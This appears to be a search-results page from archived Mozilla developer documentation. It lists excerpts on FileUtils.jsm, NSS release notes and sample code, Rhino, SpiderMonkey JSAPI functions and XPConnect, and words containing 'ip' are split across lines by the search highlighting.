iptext attribute of the dom node disabled for api-provided widgets, convenience getter and setter for the disabled state of this single widget.
FileUtils.jsm
the fileutils.jsm javascr
ipt code module offers utility routines dealing with files.
... to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputstream opensafefileoutputstream(nsifile file, int modeflags); void closeatomicfile...
...outputstream(nsifileoutputstream stream); void closesafefileoutputstream(nsifileoutputstream stream); constants constant value descr
iption mode_rdonly 0x01 corresponds to the pr_rdonly parameter to pr_open mode_wronly 0x02 corresponds to the pr_wronly parameter to pr_open mode_create 0x08 corresponds to the pr_create_file parameter to pr_open mode_append 0x10 corresponds to the pr_append parameter to pr_open mode_truncate 0x20 corresponds to the pr_truncate parameter to pr_open perms_file 0644 default permissions when creating files.
... see also nsifileoutputstream code sn
ippets and examples ...
OS.File.Info
using os.file.info example: determining if a file is a regular file the following sn
ippet uses the main thread api to determine (asynchronously) whether some path is a regular file, or a directory, or a symbolic link: let promise = os.file.stat(somepath); promise.then( function onsuccess(info) { // |info| is an instance of |os.file.info| if (info.isdir) { // |somepath| represents a directory } else if (info.issymlink) { // |somepath| represents a symbolic lin...
...before deprecation, this used to be the date at which the file was created on windows and mac os x, as a javascr
ipt date object.
...on older unix filesystems it is not possible to get a creation date as it was never stored, on new unix filesystems creation date is stored but the method to obtain this date differs per filesystem, bugzilla :: bug 1167143 explores implementing solutions for all these different filesystems) lastaccessdate the date at which the file was last accessed, as a javascr
ipt date object.
... lastmodificationdate the date at which the file was last modified, as a javascr
ipt date object.
Task.jsm
the task.jsm javascr
ipt code module implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascr
ipt's yield operator.
... to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/task.jsm"); introduction for an introduction to tasks, you may start from the task.js documentation, keeping in mind that only the core subset is implemented in this module.
... method overview function async(atask); promise spawn(atask); properties attribute type descr
iption result read only constructor constructs a special exception that, when thrown inside a legacy generator function, allows the associated task to be resolved with a specific value.
... we can easily loop while // calling asynchronous functions, and wait mult
iple times.
Index
5 index localization found 42 pages: 6 l10n checks internationalization, localization, localization:tools, tools l10n checks is a python scr
ipt and library similar to compare-locales.
... 19 localization: frequently asked questions faq, guide, internationalization, localization, mozilla this page lists tweaks and t
ips that may not require a complete page on its own.
... 21 localizing extension descr
iptions add-ons, extensions, guide, internationalization, localization this article provides details on how to go about localizing the descr
iptions of mozilla add-ons, as well as for other metadata about your add-on.
...if you're already familiar with this information, sk
ip ahead to mozilla's svn repositories.
Mozilla Content Localized in Your Language
this allows localization text to expand and not be truncated or resolved through ell
ipsis.
... ell
ipsis ell
ipsis are often inserted automatically in the ui where strings are truncated.
... ell
ipsis should only be used at high level of ui pages, but not be on the final page (after a series of click-through) where detailed instruction is given.
... ell
ipsis should not be used as a way to solve truncation issue.
MathML Demo: <mo> - operator, fence, separator, or accent
\longleftarrow can be scr
ipted as <mo>⟵</mo> or as <mo stretchy="true" minsize="1.8">←</mo>.
... ] { k 1 2 2 } ⟨ k 1 2 2 ⟩ ⌊ k 1 2 2 ⌋ ⌈ k 1 2 2 ⌉ | k 1 2 2 | ∥ k 1 2 2 ∥ and / k 1 2 2 / \ k 1 2 2 \ ↕ k 1 2 2 ↕ ⇕ k 1 2 2 ⇕ ↑ k 1 2 2 ↑ ⇑ k 1 2 2 ⇑ ↓ k 1 2 2 ↓ ⇓ k 1 2 2 ⇓ generally, it is safest to scr
ipt all attributes that configure an <mo> as a fence (fence, stretchy, symmetric, lspace, rspace).
...hence <mo symmetric="true"> must be scr
ipted if the intent is to emulated latex fence behavior.
...hence we scr
ipt binomial fences as stretchy in mathml.
JS::PerfMeasurement
perfmeasurement* js::extractperfmeasurement(jsval wrapper) if you are the c++ side of an xpcom interface, and you want to benchmark only part of your execution time but make the results available to javascr
ipt, you can declare a bare jsval argument in your .idl file and have javascr
ipt pass a perfmeasurement object that it created in that argument slot.
... the jsval you receive points to a javascr
ipt wrapper object.
... it will return null if javascr
ipt passed in something with the wrong dynamic type.
... it initializes the javascr
ipt wrapper interface for this api and pokes the constructor function into the global object you provide.
Memory Profiler
this is helpful in exploring the relationsh
ips among objects and identifying memory leaks.
...however, it still relies on developers' wisdom, and sometimes chances, to dig out the problematical code sn
ippet.
... the profiler is designed at the very beginning to support not only javascr
ipt but also native codes.
... naturally, not only javascr
ipt objects but also native allocations are tracked.
Power profiling overview
each package contains mult
iple cores.
...the exact relationsh
ip is confusing, and chapter 13 of the intel optimization manual has more details.
...1hz.) p-states intel processors also support mult
iple p-states.
... pp1: an uncore device, usually the gpu (not available on all processor models.) dram: main memory (not available on all processor models.) the following relationsh
ip holds: pp0 + pp1 <= pkg.
Refcount tracing and balancing
the scr
ipt tools/rb/find_leakers.py does this.
... the scr
ipts output looks like the following.
...linux users need to run a scr
ipt to fix the call stack.
...the make-tree.pl scr
ipt accepts an option --ignore-balanced, which tells it not to bother printing out the children of a node whose balance factor is zero.
Preference reference
he preference browser.urlbar.formatting.enabled controls whether the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey.browser.urlbar.trimurlsthe preference browser.urlbar.trimurls controls whether the protocol http and the trailing slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.cl
ipboardevents.enableddom.event.cl
ipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected.
... javascr
ipt.options.showinconsolethe preference javascr
ipt.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascr
ipt.options.stricttechnical review completed.mail.tabs.drawintitlebarstarting in thunderbird 17.0, the tabs are drawn in the title bar.
...the xul cache is serialized and saved between mozilla sessions in the xul fastload file, which saves a “compiled” version of the xul and javascr
ipt in a document to disk for faster startup the next time the application runs.reader.parse-on-load.force-enabledthe preference reader.parse-on-load.force-enabled controls if the reader mode used in firefox mobile should be enabled independent of the memory available in the device.
...ds the style which is used to underline words not recognized by the spellchecker.ui.textselectbackgroundui.textselectbackground saves the color in which the background of a text selection in the user interface or in content will be styled.ui.textselectforegroundui.textselectforeground saves the color in which the text of a text selection in the user interface or the content will be styled.ui.toolt
ipdelayui.toolt
ipdelay stores the delay in milliseconds between the mouse stopping over an element and the appearing of its toolt
ip.view_source.syntax_highlightthe preference view_source.syntax_highlight controls whether markup in the view source view is syntax highlighted.
NSS 3.35 release notes
parallel database access, by mult
iple applications, is forbidden as it will likely result in data corruption.
...parallel database access, by mult
iple applications, is supported.
... keyupdate will be used automatically, if a c
ipher is used for a sufficient number of records.
... (only apis exported in *.def files are stable apis.) new experimental functionality provided below are descr
iptions of experimental functionality, which might not be available in future releases of nss.
NSS 3.45 release notes
bug 1550579 - replace arm32 curve25519 implementation with one from fiat-crypto bug 1551129 - support static linking on windows bug 1552262 - expose a function pk11_findrawcertswithsubject for finding certificates with a given subject on a given slot bug 1546229 - add
ipsec ike support to softoken bug 1554616 - add support for the elbrus lcc compiler (<=1.23) bug 1543874 - expose an external clock for ssl this adds new experimental functions: ssl_settimefunc, ssl_createantireplaycontext, ssl_setantireplaycontext, and ssl_releaseantireplaycontext.
... bug 1546477 - various changes in response to the ongoing f
ips review note: the source package size has increased substantially due to the new f
ips test vectors.
... certificate authority changes the following ca certificates were removed: bug 1552374 - cn = certinomis - root ca sha-256 fingerprint: 2a99f5bc1174b73cbb1d620884e01c34e51ccb3978da125f0e33268883bf4158 bugs fixed in nss 3.45 bug 1540541 - don't unnecessarily str
ip leading 0's from key material during pkcs11 import (cve-2019-11719) bug 1515342 - more thorough input checking (cve-2019-11729) bug 1552208 - prohibit use of rsassa-pkcs1-v1_5 algorithms in tls 1.3 (cve-2019-11727) bug 1227090 - fix a potential divide-by-zero in makepfromqandseed from lib/freebl/pqg.c (static analysis) bug 1227096 - fix a potential divide-by-zero in pqg_verifyparams from li...
...a20poly1305 should no longer modify output length on failure bug 1549382 - don't leak in pkcs#11 modules if c_getslotinfo() returns error bug 1551041 - fix builds using gcc < 4.3 on big-endian architectures bug 1554659 - add versioning to openbsd builds to fix link time errors using nss bug 1553443 - send session ticket only after handshake is marked as finished bug 1550708 - fix gyp scr
ipts on solaris sparc so that libfreebl_64fpu_3.so builds bug 1554336 - optimize away unneeded loop in mpi.c bug 1559906 - f
ipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as f
ips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setw...
NSS Sample Code sample6
* to decrypt, you need the c
iphertext and the id of the key that was used * to encrypt * * before running this example, create the nss database * certutil -n -d .
...d succeed on first run on a fresh db, * should fail on successive runs because key with that id already exists */ genkey(2); /* generate a key with id 1 - this will fail because key with that id * already exists */ genkey(1); } void genkey(int id) { pk11slotinfo* slot = null; pk11symkey* key = null; secitem keyiditem; int keyid[1]; ck_mechanism_type c
iphermech; /* using ckm_aes_cbc_pad mechanism for example */ c
iphermech = ckm_aes_cbc_pad; slot = pk11_getinternalkeyslot(); /* slot = pk11_getbestslot(c
iphermech, null); didn't work.
... * since we're using aes in this example, we're specifying * one of the valid keysizes (16, 24, 32) */ key = pk11_tokenkeygen(slot, c
iphermech, 0, 32 /*keysize*/, &keyiditem, pr_true, 0); if (key == null) { fprintf(stderr, "pk11_tokenkeygen failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "mechanism of key is %d (asked for %d)\n", pk11_get...
...mechanism(key), c
iphermech); pk11_freesymkey(key); key = pk11_findfixedkey(slot, c
iphermech, &keyiditem, 0); if (key == null) { fprintf(stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "found key!\n"); fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "mechanism of key is %d (asked for %d)\n", pk11_getmechanism(key), c
iphermech); pk11_freesymkey(key); pk11_freeslot(slot); } char *passwdcb(pk11slotinfo *info, prbool retry, void *arg) { if (!retry) return pl_strdup("test"); else return null; } ...
FC_GetInfo
syntax ck_rv fc_getinfo(ck_info_ptr pinfo); parameters fc_getinfo has one parameter: pinfo points to a ck_info structure descr
iption fc_getinfo returns general information about the pkcs #11 library.
... librarydescr
iption: descr
iption of the library, "nss internal crypto services", padded with spaces to 32 characters and not null-terminated.
... examples note the use of the %.32s format string to print the manufacturerid and librarydescr
iption members of the ck_info structure.
...info as pfunctionlist->c_getinfo */ crv = pfunctionlist->c_getinfo(&info); assert(crv == ckr_ok); printf("general information about the pkcs #11 library:\n"); printf(" pkcs #11 version: %d.%d\n", (int)info.cryptokiversion.major, (int)info.cryptokiversion.minor); printf(" manufacturer id: %.32s\n", info.manufacturerid); printf(" flags: 0x%08lx\n", info.flags); printf(" library descr
iption: %.32s\n", info.librarydescr
iption); printf(" library version: %d.%d\n", (int)info.libraryversion.major, (int)info.libraryversion.minor); printf("\n"); see also nsc_getinfo ...
NSPR functions
pr_secondstointerval pr_millisecondstointerval nspr i/o layering nspr file descr
iptors can be layered, corresponding to the layers in the network stack.
... the following nspr functions allow you to create your own nspr i/o layer and man
ipulate it.
... pr_getuniqueidentity pr_createiolayerstub pr_getdefaultiomethods pr_getidentitieslayer pr_getlayersidentity pr_pushiolayer pr_popiolayer wrapping a native file descr
iptor if your current tcp socket code uses the standard bsd socket api, a lighter-weight method than creating your own nspr i/o layer is to simply import a native file descr
iptor into nspr.
... users call nspr socket i/o functions to read from, write to, and shut down an ssl connection, and to close an nspr file descr
iptor.
NSS Key Functions
this chapter describes two functions used to man
ipulate private keys and key databases such as the key3.db database provided with nss.
...descr
iption nss_init opens the certificate, key, and security module databases that you specify for use with nss.
...descr
iption certificate and key structures are shared objects.
...the use of the word "destroy" in function names or in the descr
iption of a function implies reference counting.
NSS cryptographic module
the nss cryptographic module has two modes of operation: the non-f
ips (default) mode and f
ips mode.
... the f
ips mode is an approved mode of operation compliant to f
ips 140-2.
... to enable the f
ips mode of operation, use the function fc_getfunctionlist instead to get pointers to the functions that implement the f
ips mode of operation.
... pkcs #11 data types pkcs #11 functions in the non-f
ips (default) mode of operation pkcs #11 functions in the f
ips mode of operation nsc_moduledbfunc ...
sslkey.html
upgraded documentation may be found in the current nss reference key functions chapter 6 key functions this chapter describes two functions used to man
ipulate private keys and key databases such as the key3.db database provided with communicator.
... descr
iption nss_init opens the certificate, key, and security module databases that you specify for use with nss.
... descr
iption certificate and key structures are shared objects.
...the use of the word "destroy" in function names or in the descr
iption of a function implies reference counting.
Necko Architecture
there is a 1-to-1 relationsh
ip between uris and channels (if you go so far as to create a channel from a uri, which is not required if all you need is a parsed representation of a uri string).
...streams provide a generic interface to the data and allow for many underlying implementations that permit mult
iple data sources to be used.
...when you receive the ondataavailable() callback, you are handed an nsiinputsteam which you can read the data from (you will more than likely need to be able to handle mult
iple ondataavailable() callbacks, buffering the data you receive as necessary).
...there are a minimum of two interfaces you need to implement in order to fit into the necko architecture: ns
iprotocolhandler, and nsichannel.
Rhino and BSF
the bean scr
ipting framework (or bsf) was originally developed by ibm and now published as open source as a project at the apache software foundation.
... it provides a framework for using a number of scr
ipting languages with java.
...see xalan-java extensions for more information on adding javascr
ipt to xsl and the descr
iption of the optional scr
ipt task in the apache ant manual for using scr
ipting in ant build files.
... using bsf with rhino now that the apache jakarta bean scr
ipting framework (bsf), version 2.4.0, has been officially released, you can use rhino easily with bsf.
Rhino downloads archive
release release date change log download link rhino 1.7r4 2012-06-18 new in rhino 1.7r4 rhino1_7r4.z
ip rhino 1.7r3 2011-05-09 new in rhino 1.7r3 rhino1_7r3.z
ip rhino 1.7r2 2009-03-22 new in rhino 1.7r2 rhino1_7r2.z
ip rhino 1.7r1 2008-03-06 new in rhino 1.7r1 rhino1_7r1.z
ip rhino 1.6r7 2007-08-20 new in rhino 1.6r7 rhino1_6r7.z
ip rhino 1.6r6 2007-07-30 new in rhino 1.6r6 rhino1_6r6.z
ip rhino 1.6r5 2006-11-19 same code as 1.6r4, but relicensed under mpl/gpl.
... rhino1_6r5.z
ip rhino 1.6r4 2006-09-10 bug 343976 rhino1_6r4.z
ip rhino 1.6r3 2006-07-24 changes in 1.6r3 rhino1_6r3.z
ip rhino 1.6r2 2005-09-19 changes in 1.6r2 rhino1_6r2.z
ip rhino 1.6r1 2004-11-29 changes in 1.6r1 rhino1_6r1.z
ip rhino 1.5r5 2004-03-25 changes in 1.5r5 rhino1_5r5.z
ip rhino 1.5r4.1 2003-04-21 changes in 1.5r4.1 rhino15r41.z
ip rhino 1.5r4 2003-02-10 changes in 1.5r4 rhino15r4.z
ip rhino 1.5r3 2002-01-27 changes in 1.5r3 rhino15r3.z
ip rhino 1.5r2 2001-07-27 changes in 1.5r2 rhino15r2.z
ip rhino 1.5r1 2000-09-10 changes in 1.5r1 rhino15r1.z
ip rhino 1.4r3 1999-05-10 initial public releas...
...e rhino14r3.z
ip rhino 1.6r1 through 1.6r6 implement e4x using xmlbeans library.
... if you are looking for js.jar for xslt or for ibm's bean scr
ipting framework (bsf), please read the following note and then download one of the z
ip files above and unz
ip it.
Rhino FAQ
frequently asked questions about rhino how do i create a java array from javascr
ipt?
...for example, creating an array of seven ints can be done with the code var intarray = java.lang.reflect.array.newinstance(java.lang.integer.type, 7); when i try to execute a scr
ipt i get the exception required security context missing.
... you've likely missed placing the security.properties file in your class path at org.mozilla.javascr
ipt.resources.
...however, a java-based browser may use rhino with scr
ipts from a page in the same manner that any other java program would.
Rhino
rhino is an open-source implementation of javascr
ipt written entirely in java.
... it is typically embedded into java applications to provide scr
ipting to end users.
... it is embedded in j2se 6 as the default java scr
ipting engine.
... rhino documentation information on rhino for scr
ipt writers and embedders.
GCIntegration - SpiderMonkey Redirect 1
development of moving gc (both generational and compacting) is under way, but only in the javascr
ipt shell so far.
...many pointers in gecko are traced via ns_decl_cycle_collection_scr
ipt_holder_class and its related macros.
...as above, this means that classes governed by ns_decl_cycle_collection_scr
ipt_holder_class do not need a write barrier on their fields.
...we don't know yet how many there will be outside of the javascr
ipt engine.
Functions
there are several flavors of javascr
ipt function.
...(but note that objects of other classes can be callable and can even have typeof obj == "function".) scr
ipt functions functions written in javascr
ipt and compiled to bytecode.
...outside all functions, if a name definitely refers to a global for which we have seen a var, const, or function declaration, then we emit a js_defvar instruction in the scr
ipt prelude and access the global using jsop_{get,set,call}gvar.
... this is fast if the global either doesn't exist before the scr
ipt runs (the scr
ipt creates it) or it's a non-configurable data property (which amounts to the same thing).
JS_CallFunction
text *cx, jsobject *obj, jsfunction *fun, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionname(jscontext *cx, jsobject *obj, const char *name, unsigned argc, jsval *argv, jsval *rval); bool js_callfunctionvalue(jscontext *cx, jsobject *obj, jsval fval, unsigned argc, jsval *argv, jsval *rval); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information.
... descr
iption js_callfunction calls a specified function, fun, on an object, obj.
...js_callfunctionvalue(cx, obj, fval, args, rval) is analogous to the javascr
ipt statement rval = fval.apply(obj, args);.
... calling js_callfunction is safe only if the fun argument could be passed to js_getfunctionobject safely: that is, it is a function implemented by a jsnative or jsfastnative or the result of a call to js_compilefunction, js_compileucfunction, js_compilefunctionforprinc
ipals, or js_compileucfunctionforprinc
ipals.
JS_CheckAccess
check whether a running scr
ipt may access a given object property.
... syntax jsbool js_checkaccess(jscontext *cx, jsobject *obj, jsid id, jsaccessmode mode, jsval *vp, unsigned int *attrsp); name type descr
iption cx jscontext * the context in which to perform the access check.
... descr
iption js_checkaccess determines whether the property of obj given by id can be accessed by the code currently running in the context cx.
...it is one of the following values: value descr
iption jsacc_proto check for permission to read to obj's prototype.
JS_CompareStrings
syntax bool js_comparestrings(jscontext *cx, jsstring *str1, jsstring *str2, int32_t *result); name type descr
iption cx jscontext * the context to which both strings must belong.
...see descr
iption for value of *result.
... descr
iption js_comparestrings compares two js strings, str1 and str2.
...this function imposes a total order on all javascr
ipt strings, the same order imposed by the javascr
ipt string comparison operators (<, <=, >, >=), as described in ecma 262-3 § 11.8.5.
JS_ConstructObject
syntax jsobject * js_constructobject(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent); jsobject * js_constructobjectwitharguments(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent, unsigned int argc, jsval *argv); name type descr
iption cx jscontext * the context in which to create the new object.
...if this is null, an ordinary javascr
ipt object is created.
... descr
iption js_constructobject creates a new object of the specified class, with the specified prototype and parent, then invokes a constructor function to initialize the new object.
... neither of these functions is quite like the javascr
ipt new keyword.
JS_ConvertValue
converts a javascr
ipt value to a value of a specific javascr
ipt type.
... syntax bool js_convertvalue(jscontext *cx, js::handlevalue v, jstype type, js::mutablehandlevalue vp); name type descr
iption cx jscontext * the context in which to perform the conversion.
... descr
iption js_convertvalue converts a javascr
ipt value, v, to the specified type.
... converting to jstype_function works like js_valuetofunction, but better: the result is a function object that has not been str
ipped of its lexical scope.
JS_DefineFunction
:handle<jsobject*> obj, const char16_t *name, size_t namelen, jsnative call, unsigned nargs, unsigned attrs); jsfunction * js_definefunctionbyid(jscontext *cx, js::handle<jsobject*> obj, js::handle<jsid> id, jsnative call, unsigned nargs, unsigned attrs); // added in spidermonkey 17 name type descr
iption cx jscontext * the context in which to define the function.
... descr
iption js_definefunction exposes a c/c++ function to scr
ipts by defining a new method on an existing javascr
ipt object.
...that is, it is the method name that scr
ipts can use to call the new function.
...call is a pointer to the c/c++ function that is to be exposed to javascr
ipt.
JS_DefineFunctions
name type descr
iption cx jscontext * the context in which to define functions.
...added in spidermonkey 38 enum propertydefinitionbehavior { defineallproperties, onlydefinelateproperties, dontdefinelateproperties }; name descr
iption defineallproperties define all properties regardless of their flags.
... descr
iption js_definefunctions creates zero or more functions and makes them properties (methods) of a specified object, obj, as if by calling js_definefunction repeatedly.
...each array element defines a single function: its name, the native c/c++ implementation, the number of javascr
ipt arguments the function expects, and any property attributes.
JS_DeleteElement
syntax bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index); // added in spidermonkey 45 bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index, js::objectopresult &result); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information.
... descr
iption js_deleteelement removes a specified element or numeric property, index, from an object, obj.
... for javascr
ipt 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, js_deleteelement reports the error before returning false.
... for javascr
ipt 1.3 and later, the attempt is silently ignored.
JS_DeleteElement2
renamed to js_deleteelement in jsapi 39 syntax bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information.
... descr
iption js_deleteelement2 removes a specified element or numeric property, index, from an object, obj.
... for javascr
ipt 1.2 and earlier, if deletion fails because the property is permanent, js_deleteelement2 reports the error and returns false.
... for javascr
ipt 1.3, the attempt is silently ignored.
JS_DeleteProperty2
andleobject obj, const char *name, bool *succeeded); bool js_deleteucproperty2(jscontext *cx, js::handleobject obj, const char16_t *name, size_t namelen, bool *succeeded); bool js_deletepropertybyid2(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // added in spidermonkey 1.8.1 name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information.
... descr
iption js_deleteproperty2 removes a specified property, name, from an object, obj, and stores true or false in *succeeded.
... it behaves like the javascr
ipt expression delete obj[name].
... (in javascr
ipt 1.2 and earlier, attempting to delete a permanent property caused an error.
JS_DumpNamedRoots
syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const char *name, void *rp, void *data), void *data); name type descr
iption rt jsruntime * pointer to a jsruntime from which to dump named roots.
...the javascr
ipt engine does not read from or write to this pointer at all.
... descr
iption each call to js_addnamedroot creates a record in a table of named roots maintained by the garbage collector.
...when js_dumpnamedroots calls it, it passes three arguments: argument type descr
iption name const char * the name of the named root.
JS_EncodeString
this article covers features introduced in spidermonkey 1.8 convert a javascr
ipt string to a c string.
... syntax char * js_encodestring(jscontext *cx, jsstring *str); char * js_encodestringtoutf8(jscontext *cx, js::handlestring str); // added in spidermonkey 24 name type descr
iption cx jscontext * a context.
... descr
iption js_encodestring and js_encodestringtoutf8 convert the specified javascr
ipt str to a c string (an array of 8-bit chars).
...use js_getstringchars to access the 16-bit characters of a javascr
ipt string without conversions or copying.
JS_Enumerate
syntax jsidarray * js_enumerate(jscontext *cx, js::handleobject obj); name type descr
iption cx jscontext * the context in which to enumerate object properties.
... descr
iption js_enumerate gets the ids of all own properties of the specified object, obj, that have the jsprop_enumerate attribute.
... (the term own property refers to a property that is not inherited from the object's prototype.) this is not quite the same behavior as a javascr
ipt for...in loop, which converts all property ids to strings and also enumerates inherited properties.
...but, for example, if an application calls back into javascr
ipt while it is looping over the property ids in the jsidarray, the scr
ipt could delete properties from obj.
JS_FS
name type descr
iption name const char * the javascr
ipt name for the function.
... (or index, if jsprop_index is present in flags) symbol a member name of js::symbolcode the javascr
ipt symbol for the function.
... selfhostedname const char * the function's name in self-hosted javascr
ipt code.
... descr
iption use these macros to define an array of jsfunctionspecs to pass to js_definefunctions or js_initclass.
JS_GetCompartmentPrivate
this article covers features introduced in spidermonkey 1.8.5 please provide a descr
iption for this function.
... syntax void js_setcompartmentprivate(jscompartment *compartment, void *data); void * js_getcompartmentprivate(jscompartment *compartment); name type descr
iption compartment jscompartment * any compartment data void * (in js_setcompartmentprivate) pointer to application-defined data to be associated with the compartment.
... descr
iption each jscompartment has a field of type void * which the application may use for any purpose.
...the javascr
ipt engine itself never uses it.
compare-locales
compare-locales is a python scr
ipt that helps localizers to check their work without running firefox or another application.
...the easiest way is to just run $ p
ip install -u compare-locales running it compare-locales gathers the directories to compare from a toml file, usually found in $app/locales/l10n.toml.
...t of mozilla within comm-central repository that the regular comm-central build instructions generate: $ compare-locales ./comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want to use a copy of mozilla-central in comm-central, you can run them separately: $ compare-locales -dmozilla=$pwd/mozilla-central comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you're working on mult
iple projects in parallel, you can also pass all the toml files to compare-locales at once.
... ab-cd browser chrome/browser browser.dtd +backforwardmenu.toolt
ip +fullzoomenlargecmd.commandkey3 +fullzoomreducecmd.commandkey2 +fullzoomresetcmd.commandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed stri...
extIApplication
method overview boolean quit() boolean restart() void getextensions(extiextensionscallback acallback) attributes the following interfaces are available to all applications: attribute type descr
iption id readonly attribute astring the id of the application.
...not available anymore on gecko 2.0 (see [1]), use getextensions() instead obsolete since gecko 2.0 prefs readonly attribute ext
ipreferencebranch the preferences object for the application.
...supports: "load", "ready", "quit", "unload" the following interfaces are only available to firefox: attribute type descr
iption bookmarks readonly attribute fuelibookmarkroots the root bookmarks object for the application.
... xpcom although the application object is preloaded into xul scr
ipts, it is not preloaded into javascr
ipt xpcom code.
XML Extras
the module is structured as a drop-in component and exposes its xml-as-data features both to javascr
ipt and c++/xpcom users.
... xmlhttprequest.open("ahost") ok file:// documents can access http:// documents but you need to enable universalbrowserread privilege in your scr
ipts - see the javascr
ipt security: signed scr
ipts document for more details.
...file new bugs for additional documentation contributions, either specifically aimed at javascr
ipt developers or to complete & clarify the javadoc-style comments in the idl files.
... nsidomserializer (currently, the javascr
ipt constructor is xmlserializer()) nsidomparser (currently, the javascr
ipt constructor is domparser()) nsixmlhttprequest please see the xml linking and pointing section in xml in mozilla document for fixptr and xpointer documentation.
Creating XPCOM components
for example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with mozilla - prompts a discussion of the relationsh
ip between components and modules, of xpcom interfaces, and of the registration process in general.
... xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from scr
ipt component internals creating components in cpp xpcom initialization xpcom registry manifests registration methods in xpcom autoregistration the shutdown process three parts of a xpcom component library xpcom glue the glue library xpcom string classes creating the component code what we'll be working on component registration the regxpcom program r...
...laration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers starting weblock getting called at startup registering for notifications getting access to the category manager providing access to weblock creating the weblock programming interface defining the weblock interface in xpidl the xpidl syntax scr
iptable interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing return values in xpcom xpidl code generation getting the weblock service from a client implementing the iweblock interface the directory service modifying paths with nsifile man
ipulating files with nsifile using nsilocalfile for reading data process...
...objects building the weblock ui user interface package list client code overview xul the xul document the locking ui site adding ui weblock.xul overlaying new user interface into mozilla weblockoverlay.xul other resources weblock.css image resources packaging weblock component installation overview archiving resources the weblock installation scr
ipt the weblock trigger scr
ipt distributing your component appendix a - setting up the gecko sdk downloading and setting the sdk building a microsoft visual cpp project creating a new project adding the gecko sdk to the project settings building a windows project a makefile for unix appendix b - resources weblock resources gecko resources xpcom resources general developme...
Making cross-thread calls using runnables
in the mozilla platform, most activities such as layout, dom operations, content javascr
ipt, and chrome javascr
ipt run on the main thread.
... note: javascr
ipt code cannot use the techniques described in this article.
... chrome javascr
ipt should instead use workers.
...} see also chromeworker using workers in javascr
ipt code modules the thread manager ...
Components.utils.reportError
components.utils.reporterror reports a javascr
ipt error object to the error console, and returns.
...if it is not a javascr
ipt error object, the parameter is converted to a string and reported as a new error.
...to show them, set the preference 'javascr
ipt.options.showinconsole' to true, or use nsconsoleservice instead to show a message.
... firefox 4: the preference 'javascr
ipt.options.showinconsole' is set to true by default in this version.
Components.utils.schedulePreciseGC
this method lets scr
ipts schedule a garbage collection cycle.
... the garbage collection cycle will occur sometime in the future, when no javascr
ipt code is executing.
... this is useful particularly when testing for memory leaks, because normal garbage collection is conservative when javascr
ipt code is running to ensure that in-use memory isn't inadvertently collected.
...uted in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, components.utils.forcegc(), which causes garbage collection immediately but isn't able to collect all javascr
ipt-related memory), the callback lets you know when that's been finished.
Components.utils.unload
components.utils.unload was introduced in firefox 7 and is used to unload javascr
ipt code modules.
...if the javascr
ipt code module has not yet been imported then this method will do nothing.
...syntax components.utils.unload( url ); parameters url the "resource://" url of the scr
ipt to unload.
... this must be the same url that was used to load the scr
ipt.
Architecture basics
xpconnect is what lets javascr
ipt talk with mozilla guts, the xpcom system.
... you can imagine it like a bridge between javascr
ipt code, and mozilla guts.
... xpcshell is a command line interface to mozilla javascr
ipt.
... it's an interactive interpreter -- it gives you a shell that talks straight to mozilla, via javascr
ipt's xpconnect bridge into it.
XPConnect
xpconnect is a bridge between javascr
ipt and xpcom.
... with xpconnect, you can use xpcom components from javascr
ipt code, and interact with javascr
ipt objects from within xpcom components.
... documentation architecture basics xpconnect, javascr
ipt, xpcom, xul...
...pers what sorts of wrappers xpconnect generates and uses xpconnect security membranes tools xpcshell join the xpcom community choose your preferred method for joining the discussion: mailing list newsgroup rss feed irc: #developers (learn more)tools: javascr
ipt component wizard, visual c++ component wizard, visual c++ component wizard for visual studio 2010 ...
nsDirectoryService
